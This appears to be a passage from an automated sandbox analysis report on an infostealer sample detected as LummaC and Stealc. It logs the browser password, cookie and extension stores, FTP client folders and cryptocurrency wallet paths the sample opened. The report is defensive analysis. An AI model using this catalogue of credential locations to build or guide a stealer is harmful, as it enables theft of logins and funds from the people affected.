Source: niwvNnBk2p.exe, 00000000.00000003.1436311996.00000000013A3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: %appdata%\Ethereum
Source: niwvNnBk2p.exe	String found in binary or memory: %localappdata%\Coinomi\Coinomi\wallets
Source: niwvNnBk2p.exe	String found in binary or memory: keystore

Tries to harvest and steal browser information (history, passwords, etc)

Source: C:\Users\user\Desktop\niwvNnBk2p.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hpglfhgfnhbgpjdenjgmdgoeiappafln	Jump to behavior
Source: C:\Users\user\Desktop\niwvNnBk2p.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aeachknmefphepccionboohckonoeemg	Jump to behavior
Source: C:\Users\user\Desktop\niwvNnBk2p.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dngmlblcodfobpdpecaadgfbcggfjfnm	Jump to behavior
Source: C:\Users\user\Desktop\niwvNnBk2p.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lgmpcpglpngdoalbgeoldeajfclnhafa	Jump to behavior
Source: C:\Users\user\Desktop\niwvNnBk2p.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\flpiciilemghbmfalicajoolhkkenfe	Jump to behavior
Source: C:\Users\user\Desktop\niwvNnBk2p.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nlbmnnijcnlegkjjpcfjclmcfggfefdm	Jump to behavior
Source: C:\Users\user\Desktop\niwvNnBk2p.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ejjladinnckdgjemekebdpeokbikhfci	Jump to behavior
Source: C:\Users\user\Desktop\niwvNnBk2p.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ffnbelfdoeiohenkjibnmadjiehjhajb	Jump to behavior
Source: C:\Users\user\Desktop\niwvNnBk2p.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fijngjgcjhjmmpcmkeiomlglpeiijkld	Jump to behavior
Source: C:\Users\user\Desktop\niwvNnBk2p.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\abogmiocnneedmmepnohnhlijcjpcifd	Jump to behavior
Source: C:\Users\user\Desktop\niwvNnBk2p.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lkcjlnjfpbikmcmbachjpdbijejflpcm	Jump to behavior
Source: C:\Users\user\Desktop\niwvNnBk2p.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\oeljdldpnmdbchonielidgobddfffla	Jump to behavior
Source: C:\Users\user\Desktop\niwvNnBk2p.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nhnkbkgjikgcigadomkphalanndcapjk	Jump to behavior
Source: C:\Users\user\Desktop\niwvNnBk2p.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ilgcnhelpchnceeipipijaljkblbcob	Jump to behavior
Source: C:\Users\user\Desktop\niwvNnBk2p.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data For Account	Jump to behavior
Source: C:\Users\user\Desktop\niwvNnBk2p.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fnjhmkhhmkbjkkabndcnnogagogbneec	Jump to behavior
Source: C:\Users\user\Desktop\niwvNnBk2p.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\formhistory.sqlite	Jump to behavior
Source: C:\Users\user\Desktop\niwvNnBk2p.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ijmpgkjfkbfhoebgogflfebnmejmfbm	Jump to behavior
Source: C:\Users\user\Desktop\niwvNnBk2p.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\prefs.js	Jump to behavior
Source: C:\Users\user\Desktop\niwvNnBk2p.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cnmamaachppnkjgnildpdmkaakejnhae	Jump to behavior
Source: C:\Users\user\Desktop\niwvNnBk2p.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fhmfendgdocmcbmfikdcogofphimnkno	Jump to behavior
Source: C:\Users\user\Desktop\niwvNnBk2p.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\egjidjbpglichdcondbcbdnbeeppgdph	Jump to behavior
Source: C:\Users\user\Desktop\niwvNnBk2p.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\anokgmphncpekkhclmingpimjmcooifb	Jump to behavior
Source: C:\Users\user\Desktop\niwvNnBk2p.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\efbglgofoippbgcjepnhiblaibcnclgk	Jump to behavior
Source: C:\Users\user\Desktop\niwvNnBk2p.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data For Account	Jump to behavior
Source: C:\Users\user\Desktop\niwvNnBk2p.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bhghoamapcdpbohphigoooaddinpkbai	Jump to behavior
Source: C:\Users\user\Desktop\niwvNnBk2p.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ejbalbakoplchlghecdalmeeeajnimhm	Jump to behavior
Source: C:\Users\user\Desktop\niwvNnBk2p.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cpojfbodiccabbabgimdeohkkpjfpbnf	Jump to behavior
Source: C:\Users\user\Desktop\niwvNnBk2p.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kjmoohlgokccodicjjfebfomlbljgfhk	Jump to behavior
Source: C:\Users\user\Desktop\niwvNnBk2p.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\History	Jump to behavior
Source: C:\Users\user\Desktop\niwvNnBk2p.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hdokiejnpimakedhajhdlcegeplioahd	Jump to behavior
Source: C:\Users\user\Desktop\niwvNnBk2p.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\acmacodkjbdgmoleebolmdjonilkdbch	Jump to behavior
Source: C:\Users\user\Desktop\niwvNnBk2p.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mmmjbcfofconkannjonfmjjajpllddbg	Jump to behavior
Source: C:\Users\user\Desktop\niwvNnBk2p.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aiifbnbfobpmeekipheeijimdpnlpgpp	Jump to behavior
Source: C:\Users\user\Desktop\niwvNnBk2p.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\Cookies	Jump to behavior
Source: C:\Users\user\Desktop\niwvNnBk2p.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aholpfdialjgjfhomihkjbmgjidlcdno	Jump to behavior
Source: C:\Users\user\Desktop\niwvNnBk2p.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kncchdigobghenbbaddojjnnaogfppfj	Jump to behavior
Source: C:\Users\user\Desktop\niwvNnBk2p.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\klnaejjgbibmhlephnhpmaofohgkpgkd	Jump to behavior
Source: C:\Users\user\Desktop\niwvNnBk2p.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles	Jump to behavior
Source: C:\Users\user\Desktop\niwvNnBk2p.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cihmoadaighcejopammfbmddcmdekcje	Jump to behavior
Source: C:\Users\user\Desktop\niwvNnBk2p.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mopnmbcafieddcagagdcbnhejhlodfdd	Jump to behavior
Source: C:\Users\user\Desktop\niwvNnBk2p.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jojhfeoedkpkglbfimdfabpdfjaoolaf	Jump to behavior
Source: C:\Users\user\Desktop\niwvNnBk2p.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aeblfdkhhhdcdjpifhhbdiojplfjncoa	Jump to behavior
Source: C:\Users\user\Desktop\niwvNnBk2p.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bhhhlbepdkbapadjdnnojkbgioiodbic	Jump to behavior
Source: C:\Users\user\Desktop\niwvNnBk2p.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\History	Jump to behavior
Source: C:\Users\user\Desktop\niwvNnBk2p.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cphhlgmgameodnhkjdmkpanlelnlohao	Jump to behavior
Source: C:\Users\user\Desktop\niwvNnBk2p.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dmkamcknogkgcdfhhbddcghachkejeap	Jump to behavior
Source: C:\Users\user\Desktop\niwvNnBk2p.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dlcobpjiigpikoobohmabehhmhfoodbb	Jump to behavior
Source: C:\Users\user\Desktop\niwvNnBk2p.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\infeboajgfhgbjpjbeppbkgnabfdkdaf	Jump to behavior
Source: C:\Users\user\Desktop\niwvNnBk2p.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dkdedlpgdmmkkfjabffeganieamfklkm	Jump to behavior
Source: C:\Users\user\Desktop\niwvNnBk2p.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ookjlbkiijinhpmnjffcofjonbfbgaoc	Jump to behavior
Source: C:\Users\user\Desktop\niwvNnBk2p.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nngceckbapebfimnlniiiahkandclblb	Jump to behavior
Source: C:\Users\user\Desktop\niwvNnBk2p.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\pioclpoplcdbaefihamjohnefbikjilc	Jump to behavior
Source: C:\Users\user\Desktop\niwvNnBk2p.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kkpllkodjeloidieedojogacfhpaihoh	Jump to behavior
Source: C:\Users\user\Desktop\niwvNnBk2p.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ibnejdfjmmkpcnlpebklmnkoeoihofec	Jump to behavior
Source: C:\Users\user\Desktop\niwvNnBk2p.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ppbibelpcjmhbdihakflkdcoccbgbkpo	Jump to behavior
Source: C:\Users\user\Desktop\niwvNnBk2p.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data	Jump to behavior
Source: C:\Users\user\Desktop\niwvNnBk2p.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\cert9.db	Jump to behavior
Source: C:\Users\user\Desktop\niwvNnBk2p.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ojggmchlghnjlapmfbnjholfjkiidbch	Jump to behavior
Source: C:\Users\user\Desktop\niwvNnBk2p.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kppfdiipphfccemcignhifpjkapfbihd	Jump to behavior
Source: C:\Users\user\Desktop\niwvNnBk2p.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jiidiaalihmmhddjgbnbgdfflelocpak	Jump to behavior
Source: C:\Users\user\Desktop\niwvNnBk2p.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Data	Jump to behavior
Source: C:\Users\user\Desktop\niwvNnBk2p.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hcflpincpppdclinealmandijcmnkbgn	Jump to behavior
Source: C:\Users\user\Desktop\niwvNnBk2p.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fhbohimaelbohpjbbldcngcnapndodjp	Jump to behavior
Source: C:\Users\user\Desktop\niwvNnBk2p.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nkbihfbeogaeaoehlefnkodbefgpgknn	Jump to behavior
Source: C:\Users\user\Desktop\niwvNnBk2p.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kpfopkelmapcoipemfendmdcghnegimn	Jump to behavior
Source: C:\Users\user\Desktop\niwvNnBk2p.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\cookies.sqlite	Jump to behavior
Source: C:\Users\user\Desktop\niwvNnBk2p.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hnfanknocfeofbddgcijnmhnfnkdnaad	Jump to behavior
Source: C:\Users\user\Desktop\niwvNnBk2p.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bfnaelmomeimhlpmgjnjophhpkkoljpa	Jump to behavior
Source: C:\Users\user\Desktop\niwvNnBk2p.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\blnieiiffboillknjnepogjhkgnoapac	Jump to behavior
Source: C:\Users\user\Desktop\niwvNnBk2p.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ocjdpmoallmgmjbbogfiiaofphbjgchh	Jump to behavior
Source: C:\Users\user\Desktop\niwvNnBk2p.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mkpegjkblkkefacfnmkajcjmabijhclg	Jump to behavior
Source: C:\Users\user\Desktop\niwvNnBk2p.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fihkakfobkmkjojpchpfgcmhfjnmnfpi	Jump to behavior
Source: C:\Users\user\Desktop\niwvNnBk2p.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\onofpnbbkehpmmoabgpcpmigafmmnjh	Jump to behavior
Source: C:\Users\user\Desktop\niwvNnBk2p.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nlgbhdfgdhgbiamfdfmbikcdghidoadd	Jump to behavior
Source: C:\Users\user\Desktop\niwvNnBk2p.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\afbcbjpbpfadlkmhmclhkeeodmamcflc	Jump to behavior
Source: C:\Users\user\Desktop\niwvNnBk2p.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cjelfplplebdjjenllpjcblmjkfcffne	Jump to behavior
Source: C:\Users\user\Desktop\niwvNnBk2p.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\logins.json	Jump to behavior
Source: C:\Users\user\Desktop\niwvNnBk2p.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nknhiehlklippafakaeklbeglecifhad	Jump to behavior
Source: C:\Users\user\Desktop\niwvNnBk2p.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\places.sqlite	Jump to behavior
Source: C:\Users\user\Desktop\niwvNnBk2p.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\ilgcnhelpchnceeipipijaljkblbcob	Jump to behavior
Source: C:\Users\user\Desktop\niwvNnBk2p.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\opcgpfmipidbgpenhmajoajpbobppdil	Jump to behavior
Source: C:\Users\user\Desktop\niwvNnBk2p.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nanjmdknhkinifnkgdcggcfnhdaammmj	Jump to behavior
Source: C:\Users\user\Desktop\niwvNnBk2p.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\amkmjjmmflddogmhpjloimipbofnfjih	Jump to behavior
Source: C:\Users\user\Desktop\niwvNnBk2p.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mcohilncbfahbmgdjkbpemcciiolgcge	Jump to behavior
Source: C:\Users\user\Desktop\niwvNnBk2p.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jgaaimajipbpdogpdglhaphldakikgef	Jump to behavior
Source: C:\Users\user\Desktop\niwvNnBk2p.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jnlgamecbpmbajjfhmmmlhejkemejdma	Jump to behavior
Source: C:\Users\user\Desktop\niwvNnBk2p.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Network\Cookies	Jump to behavior
Source: C:\Users\user\Desktop\niwvNnBk2p.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\oeljdldpnmdbchonielidgobddfffla	Jump to behavior
Source: C:\Users\user\Desktop\niwvNnBk2p.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\imloifkgjagghnncjkhggdhalmcnfklk	Jump to behavior
Source: C:\Users\user\Desktop\niwvNnBk2p.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\phkbamefinggmakgklpkljjmgibohnba	Jump to behavior
Source: C:\Users\user\Desktop\niwvNnBk2p.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\key4.db	Jump to behavior
Source: C:\Users\user\Desktop\niwvNnBk2p.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bcopgchhojmggmffilplmbdicgaihlkp	Jump to behavior
Source: C:\Users\user\Desktop\niwvNnBk2p.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hifafgmccdpekplomjjkcfgodnhcellj	Jump to behavior
Source: C:\Users\user\Desktop\niwvNnBk2p.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\gaedmjdfmmahhbjefcbgaolhhanlaolb	Jump to behavior
Source: C:\Users\user\Desktop\niwvNnBk2p.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nkddgncdjgjfcddamfgcmfnlhccnimig	Jump to behavior
Source: C:\Users\user\Desktop\niwvNnBk2p.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data	Jump to behavior
Source: C:\Users\user\Desktop\niwvNnBk2p.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cnncmdhjacpkmjmkcafchppbnpnhdmon	Jump to behavior
Source: C:\Users\user\Desktop\niwvNnBk2p.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jbdaocneiiinmjbjlgalhcelgbejmnid	Jump to behavior
Source: C:\Users\user\Desktop\niwvNnBk2p.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lpfcbjknijpeeillifnkikgncikgfhdo	Jump to behavior
Source: C:\Users\user\Desktop\niwvNnBk2p.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aflkmfhebedbjioipglgcbcmnbpgliof	Jump to behavior
Source: C:\Users\user\Desktop\niwvNnBk2p.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lodccjjbdhfakaekdiahmedfbieldgik	Jump to behavior
Source: C:\Users\user\Desktop\niwvNnBk2p.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\heefohaffomkkkphnlpohglngmbcclhi	Jump to behavior
Source: C:\Users\user\Desktop\niwvNnBk2p.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\bhghoamapcdpbohphigoooaddinpkbai	Jump to behavior
Source: C:\Users\user\Desktop\niwvNnBk2p.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mnfifefkajgofkcjkemidiaecocnkjeh	Jump to behavior
Source: C:\Users\user\Desktop\niwvNnBk2p.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fcfcfllfndlomdhbehjjcoimbgofdncg	Jump to behavior
Source: C:\Users\user\Desktop\niwvNnBk2p.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\onhogfjeacnfoofkfgppdlbmlmnplgbn	Jump to behavior
Source: C:\Users\user\Desktop\niwvNnBk2p.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\loinekcabhlmhjjbocijdoimmejangoa	Jump to behavior
Source: C:\Users\user\Desktop\niwvNnBk2p.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\idnnbdplmphpflfnlkomgpfbpcgelopg	Jump to behavior

Tries to harvest and steal ftp login credentials

Source: C:\Users\user\Desktop\niwvNnBk2p.exe	File opened: C:\Users\user\AppData\Roaming\FTPbox	Jump to behavior
Source: C:\Users\user\Desktop\niwvNnBk2p.exe	File opened: C:\Users\user\AppData\Roaming\SmartFTP\Client 2.0\Favorites	Jump to behavior
Source: C:\Users\user\Desktop\niwvNnBk2p.exe	File opened: C:\Users\user\AppData\Roaming\FTPRush	Jump to behavior
Source: C:\Users\user\Desktop\niwvNnBk2p.exe	File opened: C:\Users\user\AppData\Roaming\Conceptworld\Notezilla	Jump to behavior
Source: C:\Users\user\Desktop\niwvNnBk2p.exe	File opened: C:\Users\user\AppData\Roaming\FTPGetter	Jump to behavior
Source: C:\Users\user\Desktop\niwvNnBk2p.exe	File opened: C:\Users\user\AppData\Roaming\FTPInfo	Jump to behavior
Source: C:\Users\user\Desktop\niwvNnBk2p.exe	File opened: C:\ProgramData\SiteDesigner\3D-FTP	Jump to behavior

Tries to steal Crypto Currency Wallets

Source: C:\Users\user\Desktop\niwvNnBk2p.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet	Jump to behavior
Source: C:\Users\user\Desktop\niwvNnBk2p.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet	Jump to behavior
Source: C:\Users\user\Desktop\niwvNnBk2p.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live	Jump to behavior
Source: C:\Users\user\Desktop\niwvNnBk2p.exe	File opened: C:\Users\user\AppData\Roaming\atomic\Local Storage\leveldb	Jump to behavior
Source: C:\Users\user\Desktop\niwvNnBk2p.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets	Jump to behavior
Source: C:\Users\user\Desktop\niwvNnBk2p.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets	Jump to behavior
Source: C:\Users\user\Desktop\niwvNnBk2p.exe	File opened: C:\Users\user\AppData\Roaming\Bitcoin\wallets	Jump to behavior
Source: C:\Users\user\Desktop\niwvNnBk2p.exe	File opened: C:\Users\user\AppData\Roaming\Binance	Jump to behavior
Source: C:\Users\user\Desktop\niwvNnBk2p.exe	File opened: C:\Users\user\AppData\Roaming\com.liberty.jaxx\IndexedDB	Jump to behavior
Source: C:\Users\user\Desktop\niwvNnBk2p.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets	Jump to behavior
Source: C:\Users\user\Desktop\niwvNnBk2p.exe	File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets	Jump to behavior
Source: C:\Users\user\Desktop\niwvNnBk2p.exe	File opened: C:\Users\user\AppData\Roaming\Guarda\IndexedDB	Jump to behavior

Source: C:\Users\user\Desktop\niwvNnBk2p.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\Desktop\niwvNnBk2p.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\Desktop\niwvNnBk2p.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\Desktop\niwvNnBk2p.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\Desktop\niwvNnBk2p.exe	Directory queried: C:\Users\user\Documents\AQRFEVRTGL	Jump to behavior
Source: C:\Users\user\Desktop\niwvNnBk2p.exe	Directory queried: C:\Users\user\Documents\AQRFEVRTGL	Jump to behavior
Source: C:\Users\user\Desktop\niwvNnBk2p.exe	Directory queried: C:\Users\user\Documents\BXAJUJAOEO	Jump to behavior
Source: C:\Users\user\Desktop\niwvNnBk2p.exe	Directory queried: C:\Users\user\Documents\BXAJUJAOEO	Jump to behavior
Source: C:\Users\user\Desktop\niwvNnBk2p.exe	Directory queried: C:\Users\user\Documents\CZQKSDDMWR	Jump to behavior
Source: C:\Users\user\Desktop\niwvNnBk2p.exe	Directory queried: C:\Users\user\Documents\CZQKSDDMWR	Jump to behavior
Source: C:\Users\user\Desktop\niwvNnBk2p.exe	Directory queried: C:\Users\user\Documents\DQOFHVHTMG	Jump to behavior
Source: C:\Users\user\Desktop\niwvNnBk2p.exe	Directory queried: C:\Users\user\Documents\DQOFHVHTMG	Jump to behavior
Source: C:\Users\user\Desktop\niwvNnBk2p.exe	Directory queried: C:\Users\user\Documents\HMPPSXQPQV	Jump to behavior
Source: C:\Users\user\Desktop\niwvNnBk2p.exe	Directory queried: C:\Users\user\Documents\HMPPSXQPQV	Jump to behavior
Source: C:\Users\user\Desktop\niwvNnBk2p.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\Desktop\niwvNnBk2p.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\Desktop\niwvNnBk2p.exe	Directory queried: C:\Users\user\Documents\AQRFEVRTGL	Jump to behavior
Source: C:\Users\user\Desktop\niwvNnBk2p.exe	Directory queried: C:\Users\user\Documents\AQRFEVRTGL	Jump to behavior
Source: C:\Users\user\Desktop\niwvNnBk2p.exe	Directory queried: C:\Users\user\Documents\HMPPSXQPQV	Jump to behavior
Source: C:\Users\user\Desktop\niwvNnBk2p.exe	Directory queried: C:\Users\user\Documents\HMPPSXQPQV	Jump to behavior
Source: C:\Users\user\Desktop\niwvNnBk2p.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\Desktop\niwvNnBk2p.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\Desktop\niwvNnBk2p.exe	Directory queried: C:\Users\user\Documents\DQOFHVHTMG	Jump to behavior
Source: C:\Users\user\Desktop\niwvNnBk2p.exe	Directory queried: C:\Users\user\Documents\DQOFHVHTMG	Jump to behavior
Source: C:\Users\user\Desktop\niwvNnBk2p.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\Desktop\niwvNnBk2p.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\Desktop\niwvNnBk2p.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\Desktop\niwvNnBk2p.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\Desktop\niwvNnBk2p.exe	Directory queried: C:\Users\user\Documents\AQRFEVRTGL	Jump to behavior
Source: C:\Users\user\Desktop\niwvNnBk2p.exe	Directory queried: C:\Users\user\Documents\AQRFEVRTGL	Jump to behavior

Source: Yara match	File source: 00000000.00000003.1412181880.00000000013A3000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.1412036362.00000000013FD000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.1412605722.00000000013A3000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: niwvNnBk2p.exe PID: 5412, type: MEMORYSTR

Remote Access Functionality

Yara detected LummaC Stealer

Source: Yara match	File source: Process Memory Space: niwvNnBk2p.exe PID: 5412, type: MEMORYSTR
Source: Yara match	File source: sslproxydump.pcap, type: PCAP
Source: Yara match	File source: decrypted.memstr, type: MEMORYSTR

Yara detected Stealc

Source: Yara match	File source: 0000000A.00000002.1675138914.0000000000F4E000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000A.00000002.1671949520.0000000000481000.00000040.00000001.01000000.00000009.sdmp, type: MEMORY
Source: Yara match	File source: 0000000A.00000003.1625763000.0000000004D60000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
